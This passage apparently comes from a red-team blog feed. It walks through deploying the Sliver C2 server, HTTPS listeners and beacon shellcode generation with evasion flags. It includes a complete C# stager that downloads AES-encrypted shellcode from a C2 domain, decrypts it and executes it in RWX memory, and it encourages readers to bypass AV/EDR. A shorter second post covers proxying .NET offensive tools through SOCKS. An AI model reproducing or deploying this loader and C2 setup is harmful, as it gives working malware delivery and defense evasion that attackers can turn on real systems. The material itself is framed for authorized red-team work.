This will automatically start Sliver running in <a href="https://github.com/BishopFox/sliver/wiki/Daemon-Mode">Daemon mode</a>.</p>

<p>You can then create a client config on your Sliver server to allow “multiplayer” connections: <br />
<code class="language-plaintext highlighter-rouge">/root/sliver-server operator --name sliver-user --lhost "&lt;SLIVER-IP&gt;" --save /root/sliver-user.cfg</code><br />
Download the output “<strong>sliver-user.cfg</strong>” file to your local host using SCP or whatever file transfer app you like which you will use to connect to the server using a Sliver client.</p>

<p><strong>IMPORTANT STEP:</strong> <em>Don’t forget to lock down your C2 server firewalls so that only you can access it. You can do this through firewalls in your cloud console, UFW rules, IPTables, etc. You will also need to open it up to your redirector (in our case over HTTPS) but more on this later.</em></p>

<p>I created some Terraform scripts to help automate this whole process in DigitalOcean found on my <a href="https://github.com/wsummerhill/Automation-Scripts/tree/main/Sliver-C2-deployment_DigitalOcean">GitHub repository here</a>.</p>

<h2 id="connecting-and-setup">Connecting and Setup</h2>

<p>On your test system, download the Sliver client for your specific OS from the <a href="https://github.com/BishopFox/sliver/releases">Sliver releases</a>. Import your <strong>sliver-user.cfg</strong> config file from the previous steps and connect to the Sliver server with the following commands:<br /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./sliver-client_OS import ./sliver-user.cfg  <span class="c"># Import client</span>
./sliver-client_OS  <span class="c"># Connect to Sliver C2</span>
Connecting to &lt;SLIVER-IP&gt;:31337 ...

.------..------..------..------..------..------.
|S.--. <span class="o">||</span>L.--. <span class="o">||</span>I.--. <span class="o">||</span>V.--. <span class="o">||</span>E.--. <span class="o">||</span>R.--. |
| :/<span class="se">\:</span> <span class="o">||</span> :/<span class="se">\:</span> <span class="o">||</span> <span class="o">(</span><span class="se">\/</span><span class="o">)</span> <span class="o">||</span> :<span class="o">()</span>: <span class="o">||</span> <span class="o">(</span><span class="se">\/</span><span class="o">)</span> <span class="o">||</span> :<span class="o">()</span>: |
| :<span class="se">\/</span>: <span class="o">||</span> <span class="o">(</span>__<span class="o">)</span> <span class="o">||</span> :<span class="se">\/</span>: <span class="o">||</span> <span class="o">()()</span> <span class="o">||</span> :<span class="se">\/</span>: <span class="o">||</span> <span class="o">()()</span> |
| <span class="s1">'--'</span>S|| <span class="s1">'--'</span>L|| <span class="s1">'--'</span>I|| <span class="s1">'--'</span>V|| <span class="s1">'--'</span>E|| <span class="s1">'--'</span>R|
<span class="sb">`</span><span class="nt">------</span><span class="s1">'`------'</span><span class="sb">`</span><span class="nt">------</span><span class="s1">'`------'</span><span class="sb">`</span><span class="nt">------</span><span class="s1">'`------'</span>

All hackers gain assist
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Server v1.5.40 - c17c37857e54f0fa202c01cbd00a99a85f5f9f49
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Welcome to the sliver shell, please <span class="nb">type</span> <span class="s1">'help'</span> <span class="k">for </span>options

sliver <span class="o">&gt;</span>
</code></pre></div></div>

<p>For our red team setup, we’re going to use an HTTPS redirector pointing to your C2 server. We also need to make sure that the Sliver server is locked down using firewall rules by making it accessible ONLY to your own IP addresses and the soruce IPs of your redirector(s) open over port 443 to be the most opsec-safe. BE SURE that your Sliver server is NOT directly accessible over the Internet to anyone.<br />
If you want to do this with UFW rules, it would look something like this:<br /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Allow your IPs</span>
ufw allow from &lt;YOUR-IP&gt;
ufw allow from &lt;YOUR-IP-2&gt;
<span class="c"># Allow your redirectors over HTTPS</span>
ufw allow from &lt;REDIRECTOR-IP&gt; to any port 443
ufw allow from &lt;REDIRECTOR-IP&gt; to any port 443
ufw allow from &lt;REDIRECTOR-IP&gt; to any port 443
<span class="c"># Start firewall</span>
ufw <span class="nb">enable</span> <span class="c"># Select Y at prompt</span>
</code></pre></div></div>

<h2 id="redirectors">Redirectors</h2>

<p>We’re not actually going to cover HTTPS redirector setup as there are many different blogs and techniques to do this (i.e. <a href="https://howto.thec2matrix.com/attack-infrastructure/redirectors">how-to-guides</a>, <a href="https://blog.xpnsec.com/aws-lambda-redirector/">AWS lambda redirectors</a>, <a href="https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/">bluescreenofjeff</a>, etc.). So for the rest of this post we’ll assume you already have an HTTPS redirector setup!</p>

<p>Now we’ll have to start an HTTPS listener in Sliver which only accepts connections from our redirector host. But first we’ll need to setup an SSL certificate with a public/private key (without encryption as Sliver doesn’t accept encrypted private keys) to have a valid SSL/TLS connection. You could use a self-signed one (using the <code class="language-plaintext highlighter-rouge">--self-signed</code> option), but for red teams we would much rather have a valid/signed cert for our HTTPS connections to be less suspicious.</p>

<p>To create your SSL/TLS certificate for HTTPS communications with your listener, you can use whatever service/app you prefer. LetsEncrypt is probably the most common method, and recently I started using AWS Certificate Manager (ACM) certs.<br /></p>

<p>To automate this with LetsEncrypt, I modified one of RedSiege’s script for setting up a cert Cobalt Strike and made it compatible with Sliver (<a href="https://github.com/wsummerhill/Automation-Scripts/blob/main/HttpsGenericC2DoneRight.sh">Link HERE</a>).<br /></p>

<p>Drop the <code class="language-plaintext highlighter-rouge">HttpsGenericC2DoneRight.sh</code> script on your Sliver teamserver and run it with Sudo privileges. Enter in your C2 domain (with an A record pointing to your C2 server) and any private key password:
<img src="https://github.com/wsummerhill/wsummerhill.github.io/assets/35749735/fd02dfbc-dc55-4ad4-83d9-1bea28e1a12e" alt="image" /></p>

<p>If everything works properly, the script should output you a domain store file, cert.pem and privkey.pem files in your <code class="language-plaintext highlighter-rouge">/root</code> directory. Copy these files to your local system with your Sliver client installed.
<img src="https://github.com/wsummerhill/wsummerhill.github.io/assets/35749735/a57e5b26-eee7-4556-aa19-5fa3b8307204" alt="image" /></p>

<h2 id="listeners">Listeners</h2>

<h3 id="http-listener">HTTP Listener</h3>

<p>Simply start an HTTP listener accepting connections from any domaon:<br />
<code class="language-plaintext highlighter-rouge">http --persistent</code></p>

<p>Start an HTTP listener accepting connections from your redirector domain:<br />
<code class="language-plaintext highlighter-rouge">http -d domain-pointing-to-sliver.com --persistent</code></p>

<h3 id="https-listener">HTTPS Listener</h3>
<p>Using an above HTTPS redector, we can easily start an HTTPS listener which only accepts connections from your redirector domain:<br />
<code class="language-plaintext highlighter-rouge">https -d domaing-pointing-to-sliver.com --lhost &lt;SLIVER-PRIVATE-IP&gt; --lets-encrypt -p</code></p>

<p>It’s recommended to create an SSL/TLS certificate using the above <code class="language-plaintext highlighter-rouge">HttpsGenericC2DoneRight.sh</code> script (or similar technique) and copy it to your folder containing the Sliver client. Start your HTTPS listener pointing to your HTTPS cert:<br />
<code class="language-plaintext highlighter-rouge">https -d domaing-pointing-to-sliver.com --lhost &lt;SLIVER-PRIVATE-IP&gt; -c cert.pem -k privkey.pem -p</code></p>

<p>Note that the private key CANNOT be encrypted, otherwise it will fail.</p>

<h2 id="beacons">Beacons</h2>

<p>Sliver C2 implants communicate in 2 different ways: <strong>Beacons</strong> or <strong>Sessions</strong>. For red teams and better opsec we will always be using Beacons which use asynchronous communications that periodically check-in at a certain time interval. The alternative would be Sessions which use an established interactive mode connection (noisy and poor opsec). <br />
Beacons function the same way Cobalt Strike communication channels work using asynchronous connections. The one downside of Sliver is that it doesn’t have a sleep mask like Cobalt Strike does, meaning the Beacon code won’t be obfuscated/encrypted in-memory while sleeping between connections.</p>

<p>To create new Beacon shellcode for Windows using your HTTPS redirector (you previously set this up right?), use the following command:<br />
<code class="language-plaintext highlighter-rouge">generate beacon --http https:/sliver-redirector.com --save /output/path/sliver-shellcode64.bin --seconds 60 --os windows --format shellcode --evasion</code></p>

<p>You can then encode/encrypt/obfuscate your output shellcode however you like and create a custom payload using it!</p>

<p>If you are up against a Linux environment and want to create an out-of-the-box Linux binary payload (ELF file format), use this command:<br />
<code class="language-plaintext highlighter-rouge">generate beacon --http https:/sliver-redirector.com --save /output/folder/ --seconds 60 --os linux --evasion</code></p>

<h2 id="staged-payloads">Staged Payloads</h2>

<p>Useful links:</p>
<ul>
  <li><a href="https://github.com/BishopFox/sliver/wiki/Stagers">https://github.com/BishopFox/sliver/wiki/Stagers</a></li>
  <li><a href="https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/">https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/</a></li>
</ul>

<p>To create staged payloads, we’ll need to create two things: a <strong>profile</strong> and a <strong>staged listener</strong>. The profile will act as a configuration for our stage 2 payoad, and the staged listener will be a stage 1 listener/payload</p>

<p>First, to create a <strong>profile</strong>, use the following command which is similar to how we previously createed Windows shellcode. This will create the profile ‘https-win’:<br />
<code class="language-plaintext highlighter-rouge">profiles new beacon --http https://sliver-redirector.com --os windows --format shellcode --evasion https-win</code><br /></p>

<p>Type <code class="language-plaintext highlighter-rouge">profiles</code> and you should see your ‘https-win’ profile created.
<img src="https://github.com/wsummerhill/wsummerhill.github.io/assets/35749735/20dd9587-79df-40c7-bb91-dd7c7bd8aee2" alt="image" /></p>

<p>Next, we need to create a staged listener that links to our profile. In this case, I obfuscated the staged payload using gzip compression and AES encryption: <br />
<code class="language-plaintext highlighter-rouge">stage-listener --url http://sliver-domain:80 --profile https-win --compress gzip --aes-encrypt-key "LgUmeMnmUpRrCBRB" --aes-encrypt-iv "nStxRW5o6TNHcKBx"</code>
<img src="https://github.com/wsummerhill/wsummerhill.github.io/assets/35749735/ae2aa7e6-9e9d-4812-8d53-681651c30608" alt="image" /></p>

<p><strong>Note:</strong> <em>If you’re using your Sliver C2 server to host the stage 1 payload, you need to set it up on a different protocol/port as your HTTPS listener (which is why i used HTTP port 80). Alternatively, you can set it up, download the shellcode then host it anywhere else for better opsec (i.e. a cloud provider). If you host it elsewhere, don’t forget to kill your original staged listener so you don’t leave it exposed!</em></p>

<p>Once you create the staged listener, your stage 2 payload should be available at <a href="http://sliver-domain:80/AnythingHere.woff">http://sliver-domain:80/AnythingHere.woff</a>. Note the “.woff” extension to download your shellcode. This is due to the “<em>stager_file_extension</em>” setting in your Sliver config (<a href="https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#implant_config">reference</a>). You could change this to any other extension you like in the configuration.<br /></p>

<p>Now we need to create a stage 1 payload to reach out to download and decrypt/decode our stage 2 payload and then execute it. This should be as custom as possible for a red team, but a good starting point is the provided C# template <a href="https://github.com/BishopFox/sliver/wiki/Stagers#encrypted-stage-example">here in the Sliver documentation</a> (note for this payload you’ll have to add gzip compression if you chose that option in your <code class="language-plaintext highlighter-rouge">stage-listener</code> command).</p>

<p>For the standard template, update the C# payloads variables to fit your url, AES key, and AES IV at the top of the script. See a full sample payload here that’s slightly customized:</p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO.Compression</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Net</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Security.Cryptography</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">Custom_Stager</span>
<span class="p">{</span>
    <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">url</span> <span class="p">=</span> <span class="s">"http://sliver-domain.com:80/text-fonts.woff"</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">AESKey</span> <span class="p">=</span> <span class="s">"LgUmeMnmUpRrCBRB"</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">AESIV</span> <span class="p">=</span> <span class="s">"nStxRW5o6TNHcKBx"</span><span class="p">;</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">ExactSpelling</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwSize</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">flAllocationType</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">flProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwStackSize</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpStartAddress</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpParameter</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpThreadId</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="n">UInt32</span> <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hHandle</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwMilliseconds</span><span class="p">);</span>

        <span class="c1">// Decrypt</span>
        <span class="k">private</span> <span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="nf">AESDecrypt</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">ciphertext</span><span class="p">,</span> <span class="kt">string</span> <span class="n">AESKey</span><span class="p">,</span> <span class="kt">string</span> <span class="n">AESIV</span><span class="p">)</span> <span class="p">{</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">key</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="n">AESKey</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">IV</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="n">AESIV</span><span class="p">);</span>

            <span class="k">using</span> <span class="p">(</span><span class="n">Aes</span> <span class="n">aesAlg</span> <span class="p">=</span> <span class="n">Aes</span><span class="p">.</span><span class="nf">Create</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">key</span><span class="p">;</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span> <span class="p">=</span> <span class="n">IV</span><span class="p">;</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">Padding</span> <span class="p">=</span> <span class="n">PaddingMode</span><span class="p">.</span><span class="n">None</span><span class="p">;</span>

                <span class="n">ICryptoTransform</span> <span class="n">decryptor</span> <span class="p">=</span> <span class="n">aesAlg</span><span class="p">.</span><span class="nf">CreateDecryptor</span><span class="p">(</span><span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span><span class="p">,</span> <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span><span class="p">);</span>

                <span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">memoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">))</span>
                <span class="p">{</span>
                    <span class="k">using</span> <span class="p">(</span><span class="n">CryptoStream</span> <span class="n">cryptoStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">CryptoStream</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">,</span> <span class="n">decryptor</span><span class="p">,</span> <span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Write</span><span class="p">))</span>
                    <span class="p">{</span>
                        <span class="n">cryptoStream</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
                        <span class="k">return</span> <span class="n">memoryStream</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">();</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="c1">// Gzip </span>
        <span class="k">public</span> <span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="nf">Decompress</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">input</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">tmpMs</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">ms</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">input</span><span class="p">))</span>
                <span class="p">{</span>
                    <span class="n">GZipStream</span> <span class="n">zip</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">GZipStream</span><span class="p">(</span><span class="n">ms</span><span class="p">,</span> <span class="n">CompressionMode</span><span class="p">.</span><span class="n">Decompress</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
                    <span class="n">zip</span><span class="p">.</span><span class="nf">CopyTo</span><span class="p">(</span><span class="n">tmpMs</span><span class="p">);</span>
                    <span class="n">zip</span><span class="p">.</span><span class="nf">Close</span><span class="p">();</span>
                <span class="p">}</span>
                <span class="k">return</span> <span class="n">tmpMs</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">();</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">public</span> <span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="nf">Download</span><span class="p">(</span><span class="kt">string</span> <span class="n">url</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">ServicePointManager</span><span class="p">.</span><span class="n">ServerCertificateValidationCallback</span> <span class="p">+=</span> <span class="p">(</span><span class="n">sender</span><span class="p">,</span> <span class="n">certificate</span><span class="p">,</span> <span class="n">chain</span><span class="p">,</span> <span class="n">sslPolicyErrors</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="k">true</span><span class="p">;</span>
            <span class="n">System</span><span class="p">.</span><span class="n">Net</span><span class="p">.</span><span class="n">WebClient</span> <span class="n">client</span> <span class="p">=</span> <span class="k">new</span> <span class="n">System</span><span class="p">.</span><span class="n">Net</span><span class="p">.</span><span class="nf">WebClient</span><span class="p">();</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">shellcode</span> <span class="p">=</span> <span class="n">client</span><span class="p">.</span><span class="nf">DownloadData</span><span class="p">(</span><span class="n">url</span><span class="p">);</span>

            <span class="k">return</span> <span class="n">shellcode</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">code</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">List</span><span class="p">&lt;</span><span class="kt">byte</span><span class="p">&gt;</span> <span class="n">list</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p">&lt;</span><span class="kt">byte</span><span class="p">&gt;</span> <span class="p">{</span> <span class="p">};</span>   

            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">16</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;=</span> <span class="n">code</span><span class="p">.</span><span class="n">Length</span> <span class="p">-</span><span class="m">1</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span> <span class="p">{</span>
                <span class="n">list</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
            <span class="p">}</span>

            <span class="kt">byte</span><span class="p">[]</span> <span class="n">encrypted</span> <span class="p">=</span> <span class="n">list</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">();</span>
            
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">decrypted</span><span class="p">;</span>
            <span class="n">decrypted</span> <span class="p">=</span> <span class="nf">AESDecrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">,</span> <span class="n">AESKey</span><span class="p">,</span> <span class="n">AESIV</span><span class="p">);</span>   <span class="c1">// First, AES decrypt</span>

            <span class="kt">byte</span><span class="p">[]</span> <span class="n">decompressed</span> <span class="p">=</span> <span class="nf">Decompress</span><span class="p">(</span><span class="n">decrypted</span><span class="p">);</span>        <span class="c1">// Second, GZip decompress</span>
            
            <span class="c1">// Execute stuff</span>
            <span class="n">IntPtr</span> <span class="n">addr</span> <span class="p">=</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="n">decompressed</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="m">0x3000</span><span class="p">,</span> <span class="m">0x40</span><span class="p">);</span>
            <span class="n">Marshal</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">decompressed</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">decompressed</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>

            <span class="n">IntPtr</span> <span class="n">hThread</span> <span class="p">=</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">);</span>
            <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="m">0xFFFFFFFF</span><span class="p">);</span>

            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Main Entry</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="n">String</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span> 
        <span class="p">{</span>
            <span class="c1">// Get stagd payload</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">output</span> <span class="p">=</span> <span class="nf">Download</span><span class="p">(</span><span class="n">url</span><span class="p">);</span>

            <span class="nf">Execute</span><span class="p">(</span><span class="n">output</span><span class="p">);</span>

            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Compile the C# payload with csc.exe into an EXE for testing purposes: <code class="language-plaintext highlighter-rouge">C:\windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:Sliver-payload.exe Sliver_staged-payload.cs</code></p>

<p>Run the output payload <code class="language-plaintext highlighter-rouge">./Sliver-payload.exe</code> and you should see a new beacon pop up in Sliver!
<img src="https://github.com/wsummerhill/wsummerhill.github.io/assets/35749735/ced5d4ca-1f86-459b-92aa-c81bce707990" alt="image" /></p>

<p>Of course for a red team, we want to further customize the stage 1 payload to make it as unique and evasive as possible. It’s also recommended to use a DLL instead of an EXE as it will be better for evasion. We aren’t going to cover that here as this is just a proof-of-concept, but get as creative as possible to byass that AV/EDR!
<br /><br />
Hope you all enjoyed the Sliver setup!</p>]]></content><author><name>{&quot;name&quot;=&gt;nil, &quot;avatar&quot;=&gt;nil, &quot;bio&quot;=&gt;&quot;red teaming | malware dev&quot;, &quot;location&quot;=&gt;&quot;Canada&quot;, &quot;links&quot;=&gt;[{&quot;label&quot;=&gt;&quot;Twitter/X&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-twitter-square&quot;, &quot;url&quot;=&gt;&quot;https://x.com/bsummerz&quot;}, {&quot;label&quot;=&gt;&quot;GitHub&quot;, &quot;icon&quot;=&gt;&quot;fab fa-fw fa-github&quot;, &quot;url&quot;=&gt;&quot;https://github.com/wsummerhill&quot;}]}</name></author><category term="redteam" /><summary type="html"><![CDATA[Sliver has been a popular open-source C2 in recent years and has had continuous improvements since its release. It’s cross-platform and easy to setup which were both appealing to me when I first started using it. I wanted to learn how to setup Sliver as a C2 server for red teams so I decided to document it for my own reference and anyone else interested. Here’s what we’ll cover:]]></summary></entry><entry><title type="html">The right way to proxy .NET tools through SOCKS proxies</title><link href="https://wsummerhill.github.io/redteam/2023/03/22/Proxying-.NET-Tools-with-Proxifier.html" rel="alternate" type="text/html" title="The right way to proxy .NET tools through SOCKS proxies" /><published>2023-03-22T00:00:00+00:00</published><updated>2023-03-22T00:00:00+00:00</updated><id>https://wsummerhill.github.io/redteam/2023/03/22/Proxying-.NET-Tools-with-Proxifier</id><content type="html" xml:base="https://wsummerhill.github.io/redteam/2023/03/22/Proxying-.NET-Tools-with-Proxifier.html"><![CDATA[<p><strong>Scenario:</strong> You’re on a red team engagement and want to execute .NET utilites in your Beacon but need to increase your chances at evasion and opsec. You obviously can’t touch <code class="language-plaintext highlighter-rouge">execute-assembly</code> or similar utilities. You tried BOF.NET but sometimes the Beacon gets killed, or maybe you’re hesitant to try BOF.NET at all (I’ve been there).
<br /></p>

<p>Instead, why not proxy your .NET tools through a SOCKS proxy using <a href="https://www.proxifier.com/"><strong>Proxifier</strong></a> on Windows? There are many required configurations for Proxifier and it doesn’t always work as expected in my experience, or its not always clear unless you dive into documentation. So I wanted to make a single point of reference on how to properly proxy .NET tools through Proxifier from a Windows host.
<br /></p>

<h3 id="here-are-the-steps-required-to-configure-proxifier-on-your-windows-system">Here are the steps required to configure Proxifier on your Windows system:</h3>

<ol>
  <li>
    <p>Open Proxifier. Go to <code class="language-plaintext highlighter-rouge">Profile -&gt; Advanced -&gt; Services and Other users</code> -&gt; Check the button “<strong>Windows services and other system processes</strong>” and hit OK<br />
<img src="https://user-images.githubusercontent.com/35749735/227019477-bad48d68-ae1b-435f-a4a8-5ee62cc7e790.png" alt="image" /></p>
  </li>
  <li>
    <p>Go to <code class="language-plaintext highlighter-rouge">Profile -&gt; Name resolution</code> -&gt; Check the button “<strong>Resolve hostnames through proxy</strong>” and enter in your domain names you want to resolve through Proxifier<br />
<img src="https://user-images.githubusercontent.com/35749735/227020088-41443aca-d1ed-4d3f-aa7f-0c5ca1fc4207.png" alt="image" /></p>
  </li>
  <li>
    <p>Go to <code class="language-plaintext highlighter-rouge">Profile -&gt; Proxy servers -&gt; Add...</code> -&gt; Add a new proxy server with your proxy host/port -&gt; Click <code class="language-plaintext highlighter-rouge">Advanced...</code> -&gt; Check “<strong>Use target hostname in proxy request if available</strong>” <br />
<img src="https://user-images.githubusercontent.com/35749735/227037705-756b007f-b6fe-4167-9dee-ef9092b32a67.png" alt="image" /></p>
  </li>
  <li>
    <p>Next, go to <code class="language-plaintext highlighter-rouge">Profile -&gt; Proxification Rules...</code> -&gt; Add a new rule that captures ALL (<em>Any</em>) traffic sent to your target IPs/hostnames by adding them to the rule. I add a rule for both IP addresses and hostnames since DNS resolution doesn’t always work for me through Proxifier. For <code class="language-plaintext highlighter-rouge">Action</code>, be sure to select your configured SOCKS proxy server.<br /></p>
  </li>
</ol>

<ul>
  <li>
    <p>Adding a new rule to capture ALL traffic for your target IPs:<br />
  <img src="https://user-images.githubusercontent.com/35749735/227028886-4882b3cb-64cb-45e8-9e94-3e5230a62aa3.png" alt="image" /></p>
  </li>
  <li>
    <p>Both IP and hostnames rules added and assigned to your SOCKS proxy:<br />
  <img src="https://user-images.githubusercontent.com/35749735/227028425-959ec1f2-723c-4209-b208-967129ef7dc4.png" alt="image" /></p>
  </li>
</ul>

<ol>
  <li>
    <p>Start <strong>cmd.exe</strong> or <strong>powershell.exe</strong> as your domain user: <code class="language-plaintext highlighter-rouge">runas /netonly /user:domain.com\user powershell.exe (enter password)</code><br />
<em>NOTE:</em> You can also start a GUI application here (i.e. Explorer.exe or a database viewer EXE) to proxy that application which requires Windows authentication.<br /></p>
  </li>
  <li>
    <p>Then use any .NET <strong>CSharp</strong> tools or any other command-ine tools in the new cmd/powershell window through your proxy! If it’s working properly you will see the tool’s executable name populate in the Proxifier window: <br />
<img src="https://user-images.githubusercontent.com/35749735/227029817-af1c81d0-81c7-4195-8ed9-c3dbec91478c.png" alt="image" /></p>
  </li>
</ol>

